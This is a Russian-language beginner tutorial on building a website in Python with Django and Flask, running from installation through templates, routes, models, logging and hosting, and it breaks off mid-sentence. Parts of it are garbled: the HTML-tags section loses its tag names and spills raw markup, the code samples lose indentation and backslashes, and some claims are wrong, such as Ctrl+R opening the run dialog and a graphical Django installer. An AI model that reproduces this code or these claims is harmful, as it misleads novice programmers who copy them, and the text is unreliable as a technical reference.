Как создать сайт на Python с нуля: шаг за шагом инструкция

Python – один из самых популярных языков программирования в мире, который используется для создания веб-сайтов и приложений. Написать свой собственный сайт на Python может быть довольно просто, особенно если вы знаете основы языка.

Создание сайта на Python может быть очень увлекательным процессом, где вы будете покупаться в творчестве и научитесь создавать настоящее произведение искусства.

В этой статье вы найдете подробную инструкцию о том, как начать создание своего сайта на Python с самых первых шагов.

Предупреждение: перед началом создания своего сайта на Python необходимо знать, что вы должны быть знакомы с основами языка. Если вы не знакомы с языком программирования Python, то рекомендуется пройти курсы по изучению языка.

Начало работы

Для начала работы нам необходимо установить Python на нашу машину. Для этого можно воспользоваться официальным сайтом Python, выбрав нужную версию в зависимости от операционной системы.

После установки Python можно приступать к созданию сайта с помощью фреймворка Django. Для установки фреймворка нам необходим pip, его можно установить с помощью следующей команды в терминале:

pip install django

Когда фреймворк Django установлен, создадим новый проект, введя команду:

django-admin startproject project_name

После создания проекта можно перейти в директорию проекта и запустить сервер с помощью следующей команды:

python manage.py runserver

Теперь мы можем открыть браузер и перейти по адресу http://127.0.0.1:8000/ для проверки запуска нашего сайта. Веб-страница с надписью «Welcome to Django!» свидетельствует о том, что все прошло успешно и мы можем начинать создание нашего сайта.

Выбор инструментов

Для того чтобы написать сайт на Python, вам понадобятся несколько инструментов. В первую очередь, вам нужно установить интерпретатор Python на ваш компьютер. Это можно сделать через официальный сайт Python, где можно загрузить подходящую версию для вашей операционной системы.

Для создания шаблонов и верстки сайта можно использовать различные фреймворки, такие как Flask или Django. Flask является более легковесным и гибким фреймворком, который позволяет быстро создавать простые сайты. Django же представляет собой более мощный инструмент, позволяющий более сложные задачи, но требует большего времени на изучение.

Для работы с базами данных можно использовать различные реляционные и нереляционные СУБД, такие как MySQL, PostgreSQL или MongoDB. Для работы с формами можно использовать WTForms, а для обработки данных — NumPy и Pandas.

  • Python — интерпретатор Python
  • Flask или Django — фреймворки для создания сайтов на Python
  • MySQL, PostgreSQL или MongoDB — СУБД для работы с базами данных

Важно выбрать оптимальный комплект инструментов, учитывая спецификацию вашего проекта, возможности разработчиков и сроки реализации.

Установка Python

Шаг 1: Скачайте установочный файл Python с официального сайта www.python.org/downloads/. Рекомендуется скачивать последнюю версию Python 3.

Шаг 2: Запустите установочный файл и следуйте инструкциям мастера установки. Обычно достаточно нажать на кнопку «Далее» и затем «Установить». Если вы не уверены, какие опции выбрать, оставьте значения по умолчанию.

Шаг 3: После установки Python проверьте, что он корректно работает. Для этого откройте командную строку (Ctrl + R, введите «cmd» и нажмите Enter), введите команду «python» и нажмите Enter. Если Python установлен корректно, вы должны увидеть версию Python и приглашение к вводу команд.

Примечание: В Windows для запуска Python также может быть использована команда «py».

Шаг 4: Если вы работаете на Mac или Linux, Python уже установлен в системе. Чтобы убедиться в наличии Python, откройте терминал и наберите команду «python» или «python3».

Примечание: В Linux для установки Python также можно использовать менеджеры пакетов, например, Aptitude, YUM или Zypper.

Теперь вы готовы начать писать свой сайт на Python!

Создание проекта

Начните с установки PyCharm на свой компьютер, это позволит упростить процесс создания вашего проекта. Далее откройте PyCharm и создайте новый проект, на вкладке «New Project». Укажите название вашего проекта и выберите в качестве языка — Python. После этого, выберите интерпретатор Python, если он у вас уже установлен, иначе укажите путь до интерпретатора.

Далее, создайте в вашем проекте папку «templates», в которой будут храниться шаблоны веб-страницы. Создайте файл «index.html» в папке «templates». Этот файл будет использоваться в качестве шаблона для главной страницы вашего сайта. В этом шаблоне вы можете использовать HTML, CSS и JavaScript, чтобы сделать ваш сайт красивее.

Создайте в вашем проекте еще одну папку «static». В этой папке вы можете размещать статические файлы, такие как изображения, CSS и JavaScript. Чтобы настроить папку «static», добавьте следующий код в файл app.py:

from flask import Flask, render_template

app = Flask(__name__)

@app.route('/')

def home():

return render_template('index.html')

if __name__ == '__main__':

app.run(debug=True)

Этот код создает новое приложение Flask и настраивает маршруты. Мы используем функцию «render_template», чтобы отобразить шаблон главной страницы. Затем мы запускаем приложение, используя Debug mode.

Последний шаг — запустить сервер Flask. Для этого перейдите в терминал PyCharm и введите следующую команду:

python app.py

После этого вы можете открыть ваш сайт в браузере, перейдя по адресу «localhost:5000». Поздравляем, вы создали свой первый сайт на Python!

Настройка окружения

Для разработки сайта на Python необходимо настроить окружение, чтобы запустить скрипты и установить необходимые пакеты. Перед началом работы необходимо убедиться, что на компьютере установлен Python версии 3 и выше.

Далее, можно установить удобную интегрированную среду разработки, например PyCharm или Visual Studio Code. Если необходимо работать в командной строке, можно использовать стандартный интерпретатор Python.

Для управления зависимостями можно использовать менеджер пакетов pip. С его помощью можно установить библиотеки и фреймворки, такие как Flask, Django, Requests и другие. Для установки пакета необходимо ввести команду в терминале:

  • pip install package_name

Если проект разработан на определенной версии Python, необходимо создать виртуальное окружение с этой версией. Для этого можно использовать модуль venv:

  • python -m venv env_name

После этого активируйте виртуальное окружение командой:

  • source env_name/bin/activate (для Linux или macOS)
  • env_nameScriptsactivate (для Windows)

Теперь можно установить все необходимые пакеты в созданном виртуальном окружении.

Использование виртуальных сред

Виртуальные среды — это инструмент, который позволяет создавать окружение для приложений с различными зависимостями. Создание виртуальной среды в Python — это простой способ изолировать проект от других проектов и системных зависимостей. Это полезно, когда необходимо использовать разные версии библиотек в разных проектах.

Для создания виртуальной среды необходимо использовать модуль venv, который входит в стандартную библиотеку Python. Для создания новой виртуальной среды необходимо выполнить команду:

python -m venv myenv

Здесь «myenv» — это имя виртуальной среды, которую необходимо создать. После этого будет создана новая директория с именем «myenv», которая содержит все необходимые файлы.

Для активации виртуальной среды нужно выполнить команду:

  • В Windows: myenvScriptsactivate.bat
  • В Linux или macOS: source myenv/bin/activate

После активации виртуальной среды прописывается в PATH для Python, что позволяет избежать конфликтов между версиями библиотек и пакетов Python.

Для выхода из виртуальной среды необходимо выполнить команду:

deactivate

Создание виртуальных сред — это лучшая практика разработки на Python. Использование виртуальных сред позволяет избегать конфликтов зависимостей и упрощает управление проектами.

Установка фреймворка

Для начала работы с веб-фреймворком вам необходимо его установить на свой компьютер. В данной инструкции мы будем использовать популярный фреймворк Django.

Для установки Django существует несколько способов. Один из них – использование менеджера пакетов pip. Для этого необходимо открыть терминал или командную строку и ввести следующую команду:

pip install django

Если у вас не установлен pip, то его необходимо установить. Для этого можно воспользоваться инструкцией на официальном сайте Python.

Если вы предпочитаете использовать графический интерфейс пользователя, то можете скачать установочный файл с официального сайта Django и запустить его на своем компьютере.

После установки фреймворка на ваш компьютер, вы можете приступать к работе над созданием своего сайта.

Структура приложения

Правильная организация структуры приложения на Python — это залог удобной разработки и поддержки кода. Видение структуры может меняться в зависимости от конкретных проектов, но общий подход может быть применён для большинства веб-приложений.

Каталог приложения включает в себя ряд файлов и папок. Один из таких файлов обычно называется run.py и предназначен для запуска приложения с локального сервера.

Папка templates обычно содержит файлы HTML для рендеринга веб-страниц. В некоторых приложениях, где используется ООП-подход, шаблоны могут быть объединены в отдельный класс.

Папка static содержит файлы необходимые для стилей, скриптов или изображений, которые нужны на странице. При общей практике передачи статических файлов на сервер используют стороннюю библиотеку, такую как Flask.

Папка config, также необходима для настройки их передачи на другие среды, такие как тестирование и развертывание.

models.py содержит модели базы данных и связанные с ними функции. Как правило, базы данных создаются в отдельной директории в соответствии с конкретной ORM (объектно-реляционная модель) и сценарием написания.

Все эти компоненты вместе составляют функционал приложения, который позволяет работать с базой данных и обрабатывать информацию на веб-странице. Они позволяют организовать логическую связь между кодом и функционалом приложения.

Создание основных каталогов

Перед тем, как приступить к написанию сайта на Python, необходимо создать основные каталоги, которые будут содержать весь проект. В первую очередь, создайте главный каталог проекта и дайте ему осмысленное название. Например, «mysite».

Внутри этого каталога создайте каталоги «static» и «templates». Каталог «static» будет содержать все статические файлы, такие как изображения, таблицы стилей и скрипты. В каталоге «templates» будут храниться все шаблоны HTML страниц, которые будут использоваться в проекте.

Также, если вы планируете использовать базу данных, создайте каталог «database» внутри главного каталога проекта. В таком случае, в каталоге «database» будут храниться все файлы базы данных.

После того, как вы создали все необходимые каталоги, проект будет готов к наполнению контентом и написанию кода на Python.

Работа с файлами шаблонов

Для отображения информации на странице сайта используются шаблоны – файлы HTML-разметки, в которых можно использовать переменные и условия на языке шаблонизатора. В Python широко используются шаблонизаторы Jinja2 и Django.

Для начала необходимо создать отдельную директорию в проекте, в которой будут храниться все шаблоны. Для этого создайте папку «templates» (если она еще не создана) и добавьте в нее файлы шаблонов с расширением «.html». Обычно название файла совпадает с названием маршрута, к которому этот шаблон будет привязан.

В шаблоне можно использовать переменные, например, чтобы вывести название статьи, можно использовать следующий код:

<h1>{{ article.title }}</h1>

Здесь переменная article.title означает, что из контекста получится значение ключа «title», и оно будет выводиться в теге <h1>.

Также шаблонизаторы позволяют использовать условия и циклы, например, для вывода списка элементов:

<ul>

{% for item in items %}

<li>{{ item }}</li>

{% endfor %}

</ul>

Здесь происходит перебор списка items, и каждый элемент выводится в тег <li>.

Не забывайте указывать путь к файлу шаблона во view-функциях, например:

return render(request, 'articles/index.html', context)

Здесь в функцию render передается путь к файлу шаблона index.html и контекст.

Работа с файлами шаблонов в Python очень проста и удобна для создания красивых и функциональных страниц сайта.

Создание базовой HTML-страницы

Для создания базовой HTML-страницы нужно использовать несколько обязательных тегов, которые определяют структуру документа.

1. Тег

Этот тег является корневым и обозначает начало HTML-документа. Все содержимое страницы располагается между открывающим и закрывающим тегом.

2. Тег

Тег содержит метаданные документа, такие как заголовок страницы, мета-теги, стили, скрипты и прочее. Тег располагается между открывающим и закрывающим тегом.

3. Тег</strong></p><p>Тег<title> определяет заголовок документа, который отображается во вкладке браузера. Тег<title> тоже располагается внутри тега<head>.</p><p><strong>4. Тег<body></strong></p><p>Тег<body> содержит все видимое содержимое страницы, такое как текст, изображения, таблицы и прочее. Тег<body> располагается между открывающим и закрывающим тегом<html>.</p><p><strong>5. Теги</p><h1>—</p><h6></strong></p><p>Теги</p><h1>—</p><h6> используются для определения заголовков разных уровней. Заголовки обычно выделяются более крупным размером и жирным шрифтом.</p><p><strong>6. Теги</p><p>, <em>,</p><ul>,</p><ol>,</p><li>,<br /><table></strong></p><p>Тег</p><p>используется для размещения обычного текста. Тег <em> используется для выделения текста курсивом. Теги</p><ul>,</p><ol> и</p><li> используются для создания списков, тег<br /><table> — для создания таблиц.</p><h2><span class="ez-toc-section" id="%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D1%81%D1%82%D1%80%D0%B0%D0%BD%D0%B8%D1%86"></span>Создание страниц<span class="ez-toc-section-end"></span></h2><p>Процесс создания страницы начинается с ее описания в HTML коде. Это может быть сделано с помощью специальных тегов, таких как <code><html></code>, <code><head></code> и <code><body></code>, или других тегов, которые определяют структуру и содержимое страницы. Кроме того, для определения стиля, цветов и расположения элементов на странице, используются языки CSS и JavaScript.</p><p>Каждая страница должна содержать несколько обязательных элементов, таких как заголовок страницы, ссылки на стилизующие файлы, содержимое страницы и теги для исполнения скриптов. Заключительным этапом является тестирование созданной страницы на различных устройствах и браузерах, чтобы убедиться, что она работает корректно и выглядит так, как задумано.</p><ul><li><strong>Заголовок страницы:</strong> Элемент <code><title></code> определяет заголовок страницы, который отображается в верхней части окна браузера.</li><li><strong>Ссылки на стилизующие файлы:</strong> Для определения стилей, использующихся на странице, создается файл CSS с расширением .css, который содержит правила для всех выделенных элементов. Ссылка на этот файл определяется в элементе lt;link> внутри тега <head>.</li><li><strong>Содержимое страницы:</strong> Основная часть страницы содержится в теге <code><body></code> и включает элементы, такие как текст, изображения, ссылки и другие элементы.</li><li><strong>Теги для исполнения скриптов:</strong> Для присвоения действия отдельным элементам на странице, используются скрипты на JavaScript, которые вставляются внутри тега <code><script></code>.</li></ul><p>На этапе создания страницы может использоваться программная реализация на Python с использованием веб-фреймворка, например, Django. В этом случае в процесс создания страниц включается разработка модели, которая описывает данные, используемые на странице, а также контроллер, который обеспечивает взаимодействие модели с представлением. Полученный результат отображается на странице, которая включает в себя HTML-код и использует JavaScript или другие технологии для обработки данных.</p><h2><span class="ez-toc-section" id="%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BC%D0%B0%D1%80%D1%88%D1%80%D1%83%D1%82%D0%BE%D0%B2"></span>Создание маршрутов<span class="ez-toc-section-end"></span></h2><p>Для того, чтобы написать сайт на Python с нуля, важно научиться создавать маршруты. Маршруты представляют собой URL-адреса страниц сайта, которые пользователь может посетить.</p><p>В Python для создания маршрутов используется библиотека Flask. Создание маршрута начинается с использования декоратора @app.route(). Внутри декоратора указывается URL-адрес страницы и метод HTTP-запроса, который будет использоваться.</p><p>Например, чтобы создать маршрут для главной страницы сайта и использовать метод GET, можно написать следующий код:</p><p><pre><code>@app.route('/')</p> <p>def index():</p> <p>return 'Привет, мир!'</p> <p></code></pre></p><p>Когда пользователь зайдет на главную страницу сайта, Flask отправит запрос на URL-адрес ‘/’ и вернет текст ‘Привет, мир!’.</p><p>Также можно создавать маршруты с параметрами, которые могут изменяться в зависимости от запроса пользователя. Например, чтобы создать маршрут для отображения профиля пользователя, можно использовать параметр id:</p><p><pre><code>@app.route('/profile/<int:id>')</p> <p>def profile(id):</p> <p>return f'Профиль пользователя с id {id}'</p> <p></code></pre></p><p>Теперь, когда пользователь зайдет на URL-адрес ‘/profile/1’, Flask отправит запрос на адрес ‘/profile/1’, извлечет значение параметра id (в данном случае — 1) и вернет текст ‘Профиль пользователя с id 1’.</p><p>Создание маршрутов — одна из ключевых частей при написании сайта на Python с нуля. При разработке стоит учитывать возможные варианты запросов и предусмотривать маршруты для них.</p><h3><span class="ez-toc-section" id="%D0%98%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D1%88%D0%B0%D0%B1%D0%BB%D0%BE%D0%BD%D0%BE%D0%B2_URL-%D0%B0%D0%B4%D1%80%D0%B5%D1%81%D0%BE%D0%B2"></span>Использование шаблонов URL-адресов<span class="ez-toc-section-end"></span></h3><p>Шаблоны URL-адресов позволяют определить, как приложение обрабатывает URL-адреса. В Django шаблоны URL-адресов определяются в файле <strong>urls.py</strong>.</p><p>Для создания шаблона URL-адреса в Django используется метод <em>path()</em> или <em>re_path()</em>. Оба метода позволяют указать шаблон URL-адреса и функцию, которая будет обрабатывать запрос. Например:</p><p><code>path('articles/', views.articles_list),</code></p><p>В этом примере мы указали, что при запросе URL-адреса <em>articles/</em> будет вызвана функция <em>articles_list</em>.</p><p>Шаблоны URL-адресов могут включать переменные. Для этого используется символ <em><></em>. Например:</p><p><code>path('articles/<int:article_id>/', views.article_detail)</code></p><p>В этом примере мы указали, что при запросе URL-адреса <em>articles/<article_id>/</em> будет вызвана функция <em>article_detail</em>, которой передадим переменную <em>article_id</em>.</p><p>Шаблоны URL-адресов также могут включать регулярные выражения, которые позволяют более гибко определять шаблон. Для этого используется метод <em>re_path()</em>. Например:</p><p><code>re_path(r'^articles/(?P<year>d{4})/(?P<month>d{2})/$', views.articles_by_year_month)</code></p><p>В этом примере мы определили шаблон URL-адреса, включающий две переменные <em>year</em> и <em>month</em>, которые соответствуют году и месяцу публикации статей в блоге.</p><p>Использование шаблонов URL-адресов в Django позволяет создавать гибкие и удобные URL-адреса для вашего сайта.</p><h2><span class="ez-toc-section" id="%D0%A0%D0%B0%D0%B1%D0%BE%D1%82%D0%B0_%D1%81%D0%BE_%D1%81%D1%82%D0%B0%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%BC%D0%B8_%D1%84%D0%B0%D0%B9%D0%BB%D0%B0%D0%BC%D0%B8"></span>Работа со статическими файлами<span class="ez-toc-section-end"></span></h2><p>В ходе написания сайта на Python обычно возникает необходимость работать со статическими файлами, такими как изображения, CSS-стили, JavaScript-скрипты и другие файлы, которые не подлежат изменению во время работы приложения.</p><p>Чтобы сервер мог обслуживать статические файлы, необходимо определить папку, в которой будут храниться эти файлы, и привязать ее к URL-адресу. В Django для этого нужно добавить в файл настроек (settings.py) строку:</p><p><pre><code>STATIC_URL = '/static/'</p> <p>STATICFILES_DIRS = [BASE_DIR / "static"]</code></pre></p><p>Здесь мы определяем, что все статические файлы будут храниться в папке «static», находящейся в корневой папке проекта, и что для доступа к ним будет использоваться URL-адрес «/static/».</p><p>После этого нужно включить обработчик статических файлов в основной файл urls.py приложения:</p><p><pre><code>from django.conf import settings</p> <p>from django.conf.urls.static import static</p> <p>urlpatterns = [</p> <p># ...</p> <p>] + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)</code></pre></p><p>Теперь Django будет обслуживать статические файлы по адресу «/static/», привязанным к папке «static».</p><p>Для удобства работы со статическими файлами можно использовать дополнительные инструменты, такие как библиотека Gulp для автоматической компиляции SCSS-стилей и сборке JavaScript-скриптов, а также библиотеку django-compressor для объединения и сжатия стилей и скриптов перед публикацией.</p><h2><span class="ez-toc-section" id="%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BC%D0%BE%D0%B4%D0%B5%D0%BB%D0%B5%D0%B9_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D1%85"></span>Создание моделей данных<span class="ez-toc-section-end"></span></h2><p>Важной частью проекта сайта на Python является создание моделей данных. Модель — это своего рода таблица, которая описывает объекты, с которыми вы работаете, и их связи.</p><p>Создать модели можно в файле models.py. Необходимо определить классы, которые будут являться моделями. Каждый класс будет представлять собой таблицу в базе данных. В классе определяются поля (атрибуты класса) и методы.</p><p>Поля используются для хранения данных в таблице. Каждое поле имеет свой тип (например, CharField, IntegerField, BooleanField) и может содержать дополнительные аргументы (например, максимальную длину строки). Методы используются для обработки данных в модели: выполняют различные операции (например, проверку данных) и могут быть вызваны при определенных событиях, таких как сохранение объекта в базе данных.</p><p>Кроме того, в модели можно задавать связи между таблицами. Например, связь «один ко многим» — это когда в одной таблице есть несколько записей, которые описывают связанный объект в другой таблице. Связь задается при помощи ForeignKey. Есть также другие типы связей, такие как «один к одному» и «многие ко многим».</p><p>После того, как вы определили модели и объявили все поля и связи, нужно создать таблицы в базе данных. Для этого необходимо выполнить миграцию — процедуру, которая создаст таблицы в базе данных на основе определенных моделей. Миграцию выполняют при помощи утилиты manage.py. Сначала нужно сделать миграцию, а затем применить ее к базе данных. Команды для этого выглядят примерно так:</p><p><pre></p> <p>python manage.py makemigrations</p> <p>python manage.py migrate</p> <p></pre></p><h2><span class="ez-toc-section" id="%D0%A0%D0%B0%D0%B1%D0%BE%D1%82%D0%B0_%D1%81_%D0%B4%D0%B0%D0%BD%D0%BD%D1%8B%D0%BC%D0%B8"></span>Работа с данными<span class="ez-toc-section-end"></span></h2><p>Python – мощный инструмент для работы с данными. Он предоставляет библиотеки и инструменты для обработки, анализа и визуализации данных.</p><p>Основная библиотека для работы с данными в Python – pandas. Она позволяет работать с табличными данными, часто используемыми в анализе и обработке данных. С помощью pandas можно легко читать и записывать данные в различных форматах, выполнять фильтрацию, сортировку, группировку и агрегацию данных.</p><p>Для визуализации данных можно использовать библиотеки matplotlib или seaborn. С их помощью можно строить графики, диаграммы, тепловые карты и многое другое. Библиотеки предоставляют широкий выбор настроек и возможностей для красивой и информативной визуализации данных.</p><p>Если необходимо работать с большими объемами данных, можно воспользоваться библиотекой Dask. Она позволяет обрабатывать данные, превышающие объем оперативной памяти, путем их децентрализации на несколько узлов.</p><p>Также для работы с данными в Python широко используется SQL. Для этого можно использовать библиотеку sqlite3, которая позволяет работать с базами данных в стиле SQL прямо из Python.</p><p>Все эти инструменты и библиотеки делают Python незаменимым инструментом для работы с данными. Благодаря его простоте и удобству использования, работа с данными становится приятной и эффективной.</p><h2><span class="ez-toc-section" id="%D0%98%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_ORM"></span>Использование ORM<span class="ez-toc-section-end"></span></h2><p>ORM (Object-Relational Mapping) – это технология программирования, которая позволяет связать объектно-ориентированный язык программирования (например, Python) с реляционной базой данных. В Python есть несколько ORM-библиотек, но одной из самых популярных является Django ORM.</p><p>Использование ORM позволяет программисту работать с базой данных, используя концепции объектно-ориентированного программирования, такие как классы, методы и свойства, вместо низкоуровневых конструкций SQL.</p><p>ORM упрощает процесс создания и обновления схемы базы данных, позволяет создавать связи между таблицами и выполнять запросы на языке Python. ORM также помогает избежать проблем с безопасностью, связанными с инъекцией SQL, поскольку запросы формируются автоматически в безопасном формате.</p><p>Для использования ORM в Django необходимо определить модели – классы, которые отображают структуру базы данных. Модели могут включать поля, связи с другими моделями и методы, которые выполняются при создании, обновлении или удалении объектов. После определения моделей Django автоматически создаст таблицы в базе данных.</p><p>ORM значительно упрощает работу с базами данных в Python, что делает его одним из наиболее популярных выборов для создания веб-приложений. Однако, для оптимальной производительности необходимо правильно оптимизировать запросы, транзакции и связи между моделями.</p><h3><span class="ez-toc-section" id="%D0%A1%D0%BE%D0%B7%D0%B4%D0%B0%D0%BD%D0%B8%D0%B5_%D1%82%D0%B0%D0%B1%D0%BB%D0%B8%D1%86_%D0%91%D0%94"></span>Создание таблиц БД<span class="ez-toc-section-end"></span></h3><p>Одним из важных шагов при создании веб-приложения на Python является создание таблиц в базе данных. В зависимости от требований приложения, таблиц может быть много или мало, и они должны быть созданы правильно, чтобы не возникало проблем в будущем.</p><p>При создании таблиц следует учитывать атрибуты каждого поля, их типы данных, параметры и связи между таблицами. Например, если мы создаем таблицу для хранения информации о пользователях, мы можем определить поля, такие как «id», «имя», «фамилия», «дата регистрации» и т.д.</p><p>Как правило, при создании таблиц в базе данных используется язык SQL (Structured Query Language). В Python для работы с SQL можно использовать библиотеки, такие как SQLite или SQLAlchemy.</p><p>Для создания таблиц в базе данных с помощью SQL следует использовать специальный оператор CREATE TABLE. При этом нужно задать название таблицы, а также определить ее структуру и атрибуты полей.</p><ul><li>CREATE TABLE имя_таблицы (</li><li><em>название поля 1</em> тип_данных_поля, параметры,</li><li><em>название поля 2</em> тип_данных_поля, параметры,</li><li>…</li><li><em>название поля N</em> тип_данных_поля, параметры);</li></ul><p>Например, чтобы создать таблицу для хранения информации о пользователях, можно использовать следующий код:</p><table><tr><th>SQL-код</th><th>Описание</th></tr><tr><td>CREATE TABLE users (</td><td>Создание таблицы «users»</td></tr><tr><td><em>id</em> INTEGER PRIMARY KEY,</td><td>Поле «id» — первичный ключ</td></tr><tr><td><em>name</em> VARCHAR(50) NOT NULL,</td><td>Поле «name» — строковое, длина 50 символов, обязательное для заполнения</td></tr><tr><td><em>last_name</em> VARCHAR(50) NOT NULL,</td><td>Поле «last_name» — строковое, длина 50 символов, обязательное для заполнения</td></tr><tr><td><em>registration_date</em> DATE);</td><td>Поле «registration_date» — дата регистрации пользователя</td></tr></table><p>В этом примере мы определили таблицу «users», задали поля «id», «name», «last_name» и «registration_date» и указали их типы данных и параметры. Также мы определили первичный ключ (поле «id»), который уникально идентифицирует каждого пользователя в таблице.</p><p>В зависимости от требований приложения и необходимости хранения данных, таблицы могут иметь разную структуру и количество полей. Однако грамотное создание таблиц и их связей — это важный шаг к созданию функционального и эффективного веб-приложения на Python.</p><h2><span class="ez-toc-section" id="%D0%A0%D0%B0%D0%B1%D0%BE%D1%82%D0%B0_%D1%81_%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D0%BC%D0%B8"></span>Работа с формами<span class="ez-toc-section-end"></span></h2><p>Веб-формы являются важным инструментом взаимодействия с пользователем на сайте. В Python для работы с формами используется модуль <strong>cgi</strong>, который предоставляет класс <strong>cgi.FieldStorage</strong> для обработки данных, отправленных через форму на сервер.</p><p>Процесс обработки формы в Python состоит из нескольких шагов. Сначала нужно получить данные, отправленные из формы, вызвав метод <strong>cgi.FieldStorage()</strong>. Затем можно получить значения элементов формы, используя их имена, как ключи, например: <strong>form[‘username’].value</strong>.</p><p>Чтобы отправить данные из формы обратно на сервер, используется метод HTTP-запроса <strong>POST</strong>. Для этого в HTML-коде формы указывается атрибут <strong>method=»post»</strong>.</p><p>Кроме того, существуют различные элементы управления формой, такие как текстовые поля, кнопки, флажки и радиокнопки. Все они имеют свои уникальные атрибуты и методы для работы с ними. Например, чтобы создать текстовое поле, нужно использовать тег <strong><input></strong> со значением атрибута <strong>type=»text»</strong>.</p><p>Таким образом, знание работы с веб-формами является важным навыком для каждого программиста, который занимается веб-разработкой на Python.</p><h2><span class="ez-toc-section" id="%D0%97%D0%B0%D0%BF%D1%83%D1%81%D0%BA_%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D1%8F"></span>Запуск приложения<span class="ez-toc-section-end"></span></h2><p>После того, как вы создали ваше приложение на Python и настроили его структуру и функциональность, вы готовы запустить его на своем локальном компьютере.</p><p>Для того, чтобы запустить приложение, необходимо в терминале перейти в корневую директорию вашего проекта. Затем выполните следующую команду:</p><p><strong>python manage.py runserver</strong></p><p>Эта команда запустит локальный сервер и ваше приложение будет доступно по адресу http://127.0.0.1:8000/ в вашем браузере. Если вы хотите использовать другой порт, можете указать его в команде запуска сервера:</p><p><strong>python manage.py runserver 8080</strong></p><p>После запуска сервера вы можете начать тестировать ваше приложение, обращаясь к нему через браузер по адресу http://127.0.0.1:8000/ или другому адресу, если вы указали другой порт при запуске.</p><p>Если вам нужно остановить работу сервера, можете использовать комбинацию клавиш Ctrl+C.</p><h2><span class="ez-toc-section" id="%D0%9E%D1%82%D0%BB%D0%B0%D0%B4%D0%BA%D0%B0_%D0%BE%D1%88%D0%B8%D0%B1%D0%BE%D0%BA"></span>Отладка ошибок<span class="ez-toc-section-end"></span></h2><p>В процессе написания сайта на Python возможно возникновение ошибок. Они могут возникнуть по разным причинам: синтаксические ошибки, ошибки импорта модулей, ошибки доступа к базе данных и другие.</p><p>Для того чтобы правильно исправить ошибки, необходимо использовать инструменты для отладки. Одним из таких инструментов является модуль <strong>pdb</strong>. Он позволяет запустить интерактивный отладчик, который позволяет пошагово смотреть, как работает программа и где возникают ошибки.</p><p>Другим важным инструментом для отладки является логирование. Модуль <strong>logging</strong> позволяет создавать логированные сообщения, которые позволяют отслеживать работу программы и выявлять ошибки. С помощью логирования можно сохранять информацию о событиях, которые происходят в процессе работы программы, а также описание ошибок и возможных причин их возникновения.</p><p>Также полезным инструментом для отладки является <strong>unittest</strong> — фреймворк для написания модульных тестов. Он позволяет написать набор тестовых кейсов, которые проверяют работу отдельных компонентов программы и выявляют возможные ошибки.</p><p>Важно помнить, что практика оказывает большое влияние на умение отлаживать ошибки. Чем больше опыта вы приобретаете в написании кода на Python, тем быстрее и точнее вы сможете выявлять ошибки и исправлять их.</p><h3><span class="ez-toc-section" id="%D0%98%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BB%D0%BE%D0%B3%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F"></span>Использование логирования<span class="ez-toc-section-end"></span></h3><p>Логирование является неотъемлемой частью разработки веб-приложений и помогает разработчикам выявлять ошибки и устранять их. Также логи используются для анализа работы приложения, определения узких мест и улучшения производительности.</p><p>Для работы с логированием в Python используется стандартный модуль logging. С его помощью вы можете определить, какие сообщения нужно записывать в журнал, настроить форматирование записей и задать различные уровни логирования.</p><p>Для начала работы с логированием необходимо создать экземпляр объекта Logger и задать ему уровень логирования. Например, чтобы записывать все сообщения, необходимо задать уровень logging.DEBUG:</p><ul><li><code>import logging</code></li><li><code>logger = logging.getLogger(__name__)</code></li><li><code>logger.setLevel(logging.DEBUG)</code></li></ul><p>Далее вы можете определить, какие сообщения нужно записывать в лог. Для этого используются различные методы, такие как <code>debug()</code>, <code>info()</code>, <code>warning()</code> и <code>error()</code>. Например, чтобы записать сообщение уровня info:</p><ul><li><code>logger.info('Запуск приложения')</code></li></ul><p>Также можно настроить форматирование записей, чтобы они были более читаемыми. Например, можно определить форматирование в виде строки:</p><ul><li><code>formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')</code></li><li><code>handler.setFormatter(formatter)</code></li></ul><p>После того, как вы настроили логирование, вы можете приступить к его анализу. Для этого можно использовать различные инструменты, такие как Log Analyzer или Logstash.</p><p>Использование логирования поможет значительно упростить разработку веб-приложений и повысить их качество.</p><h2><span class="ez-toc-section" id="%D0%A0%D0%B0%D0%B7%D0%BC%D0%B5%D1%89%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BD%D0%B0_%D1%85%D0%BE%D1%81%D1%82%D0%B8%D0%BD%D0%B3%D0%B5"></span>Размещение на хостинге<span class="ez-toc-section-end"></span></h2><p>Одним из важных шагов в создании сайта на Python с нуля является выбор и размещение на хостинге. Хостинг — это удаленный сервер, на котором вы размещаете свой сайт и где он доступен для посетителей.</p><p>Существует множество провайдеров хостинга и можно выбрать то, что подходит под ваши требования и бюджет. Хороший хостинг должен обеспечивать быстрый и стабильный доступ к сайту, а также иметь достаточное пространство для хранения всех файлов, баз данных и т.д.</p><p>При выборе хостинга необходимо обратить внимание на использование операционной системы, например, Linux или Windows. Python наиболее популярен на серверах Linux, так что обычно лучше выбрать хостинг с этой ОС. Кроме того, необходимо убедиться, что хостинг использует современный стек технологий, который поддерживает последние версии Python и баз данных, которые вы планируете использовать, такие как PostgreSQL или MySQL.</p><p>После выбора хостинга вам необходимо разместить свой сайт на его сервере. Самый простой способ это сделать — использовать FTP-клиент и передать все файлы через FTP-сервер на ваш хостинг. Также существуют менеджеры файлов, которые позволяют загружать файлы на хостинг через веб-интерфейс. В любом случае, у вас должны быть доступы на хостинг, чтобы вы могли загрузить файлы на сервер.</p><p>После того, как ваш сайт загружен на сервер 